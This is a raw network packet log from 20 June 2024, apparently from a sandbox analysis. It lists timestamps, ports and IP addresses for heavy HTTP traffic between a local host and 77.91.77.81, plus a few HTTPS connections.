Jun 20, 2024 15:38:17.516102076 CEST	443	49703	23.1.237.91	192.168.2.5
Jun 20, 2024 15:38:17.672027111 CEST	49711	443	192.168.2.5	40.68.123.157
Jun 20, 2024 15:38:17.672063112 CEST	443	49711	40.68.123.157	192.168.2.5
Jun 20, 2024 15:38:17.672079086 CEST	49711	443	192.168.2.5	40.68.123.157
Jun 20, 2024 15:38:17.672086954 CEST	443	49711	40.68.123.157	192.168.2.5
Jun 20, 2024 15:38:17.826767921 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:17.826781034 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:17.826792955 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:17.826868057 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:17.826879025 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:17.826889038 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:17.826889992 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:17.826889992 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:17.826900005 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:17.826922894 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:17.826948881 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:17.826972008 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:17.826982975 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:17.826993942 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:17.827081919 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:17.827081919 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:17.832609892 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:17.832632065 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:17.832676888 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:17.832746983 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:17.942926884 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:17.943072081 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:17.943085909 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:17.943101883 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:17.943181992 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:17.943181992 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:17.943217039 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:17.943231106 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:17.943279028 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:17.943435907 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:17.943547964 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:17.943569899 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:17.943587065 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:17.943634987 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:17.943661928 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:17.943676949 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:17.943677902 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:17.943859100 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:17.943859100 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:17.944133997 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:17.944149017 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:17.944164991 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:17.944210052 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:17.944210052 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:17.944210052 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:17.944370985 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:17.944660902 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:17.944674969 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:17.944691896 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:17.944736958 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:17.944736958 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:17.944736958 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:17.945107937 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:17.945122957 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:17.945189953 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:17.945522070 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:17.945671082 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:17.945739031 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:17.945739031 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:17.947989941 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:17.948004961 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:17.948020935 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:17.948036909 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:17.948098898 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:17.948098898 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:17.948098898 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:17.948324919 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:17.948352098 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:17.948370934 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:17.948419094 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.029723883 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.029835939 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.059771061 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.059797049 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.059807062 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.059871912 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.059875965 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.059875965 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.059884071 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.059917927 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.059928894 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.059958935 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.059958935 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.059963942 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.059977055 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.059977055 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.059988976 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.060031891 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.060031891 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.060031891 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.060784101 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.060795069 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.060805082 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.060856104 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.060856104 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.064191103 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.064202070 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.064210892 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.064229012 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.064239979 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.064249992 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.064261913 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.064286947 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.064286947 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.064336061 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.064368963 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.064379930 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.064403057 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.064413071 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.064421892 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.064446926 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.064446926 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.064491987 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.064558029 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.064568043 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.064578056 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.064588070 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.064599037 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.064641953 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.064641953 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.064641953 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.065411091 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.065421104 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.065429926 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.065439939 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.065450907 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.065459967 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.065471888 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.065481901 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.065491915 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.065500975 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.065505981 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.065505981 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.065505981 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.065512896 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.065524101 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.065535069 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.065545082 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.065555096 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.065570116 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.065570116 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.065570116 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.065578938 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.065675020 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.107837915 CEST	443	49719	23.1.237.91	192.168.2.5
Jun 20, 2024 15:38:18.107942104 CEST	49719	443	192.168.2.5	23.1.237.91
Jun 20, 2024 15:38:18.146104097 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.146164894 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.146199942 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.146233082 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.146259069 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.146259069 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.146259069 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.146266937 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.146302938 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.146377087 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.176393986 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.176429033 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.176475048 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.176490068 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.176512003 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.176548004 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.176580906 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.176623106 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.176630974 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.176630974 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.176659107 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.176712036 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.176744938 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.176753044 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.176753044 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.176753044 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.176780939 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.176853895 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.176853895 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.176856995 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.176891088 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.176907063 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.176924944 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.176959038 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.176990032 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.176990032 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.177011967 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.177061081 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.177125931 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.177159071 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.177189112 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.177189112 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.177206039 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.177289963 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.177345037 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.177397013 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.177401066 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.177401066 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.177433014 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.177465916 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.177467108 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.177503109 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.177510977 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.177510977 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.177537918 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.177572966 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.177619934 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.177619934 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.177619934 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.177846909 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.177900076 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.177933931 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.177944899 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.177944899 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.177987099 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.178020000 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.178054094 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.178062916 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.178062916 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.178062916 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.178088903 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.178108931 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.178124905 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.178157091 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.178190947 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.178200006 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.178200006 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.178200006 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.178241968 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.178584099 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.178637028 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.178670883 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.178704977 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.178713083 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.178802013 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.178823948 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.178857088 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.178890944 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.178914070 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.178914070 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.178927898 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.179029942 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.179029942 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.179157019 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.179189920 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.179224014 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.179266930 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.179266930 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.179266930 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.179276943 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.179310083 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.179338932 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.179346085 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.179349899 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.179399967 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.179435015 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.179441929 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.179455042 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.179476023 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.179503918 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.179512024 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.179523945 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.179563999 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.233426094 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.233544111 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.233551979 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.233587980 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.233623028 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.233649015 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.233649969 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.233658075 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.233726025 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.233788967 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.262706995 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.262762070 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.262819052 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.262854099 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.262865067 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.262876987 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.262931108 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.262953997 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.262964964 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.263000011 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.263034105 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.263053894 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.263053894 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.263082027 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.263087034 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.263120890 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.263139963 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.263155937 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.263171911 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.263190031 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.263225079 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.263247013 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.263257980 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.263263941 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.263295889 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.263305902 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.263305902 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.263351917 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.263379097 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.263390064 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.263423920 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.263477087 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.263503075 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.263503075 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.263518095 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.263524055 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.263571978 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.263595104 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.263606071 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.263642073 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.263674974 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.263683081 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.263683081 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.263683081 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.263710022 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.263742924 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.263777971 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.263784885 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.263784885 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.263784885 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.263808012 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.263854980 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.263859987 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.263859987 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.263887882 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.263926983 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.263926983 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.263945103 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.263978958 CEST	80	49718	77.91.77.81	192.168.2.5
